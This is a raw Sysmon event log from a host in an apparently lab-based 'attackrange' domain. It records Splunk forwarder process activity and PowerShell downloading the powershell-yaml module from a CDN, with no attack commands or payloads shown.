09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003667Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003666Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2912-5F80-BB00-000000007F01}4480C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003665Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.581{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2912-5F80-BB00-000000007F01}4480C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003664Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.582{A5F018FF-2912-5F80-BB00-000000007F01}4480C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x80000000000000003703Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.361{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56400-false40.87.85.101-443https 354300x80000000000000003702Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:41.609{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56399-false40.87.85.101-443https 11241100x80000000000000003701Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.597{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_w55vvpc3.wgw.ps12020-10-09 09:10:43.597 10341000x80000000000000003700Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.440{A5F018FF-2913-5F80-BC00-000000007F01}13204120C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003699Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2913-5F80-BC00-000000007F01}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003698Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003697Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003696Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003695Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003694Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003693Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003692Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003691Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003690Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003689Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2913-5F80-BC00-000000007F01}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003688Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.300{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2913-5F80-BC00-000000007F01}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003687Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.302{A5F018FF-2913-5F80-BC00-000000007F01}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x80000000000000003686Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.018{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\512099072\powershell-yaml\Tests\powershell-yaml.Tests.ps12020-10-09 09:10:43.018 11241100x80000000000000003685Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:43.018{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\512099072\powershell-yaml\lib\netstandard1.3\YamlDotNet.dll2020-10-09 09:10:43.018 11241100x80000000000000003684Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:43.018{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\512099072\powershell-yaml\lib\net45\YamlDotNet.dll2020-10-09 09:10:43.018 11241100x80000000000000003683Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:43.018{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\512099072\powershell-yaml\lib\net35\YamlDotNet.dll2020-10-09 09:10:43.018 11241100x80000000000000003682Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:43.018{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\512099072\powershell-yaml\Load-Assemblies.ps12020-10-09 09:10:43.018 11241100x80000000000000003681Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:43.003{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\lxbyty3a\lib\net45\YamlDotNet.dll2020-10-09 09:10:43.003 22542200x80000000000000003718Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.949{A5F018FF-2909-5F80-B800-000000007F01}4852psg-prod-eastus.azureedge.net0type: 5 psg-prod-eastus.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 354300x80000000000000003717Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:42.951{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56401-false152.199.19.161-443https 10341000x80000000000000003716Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2914-5F80-BD00-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003715Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003714Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003713Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:44.284{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003712Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 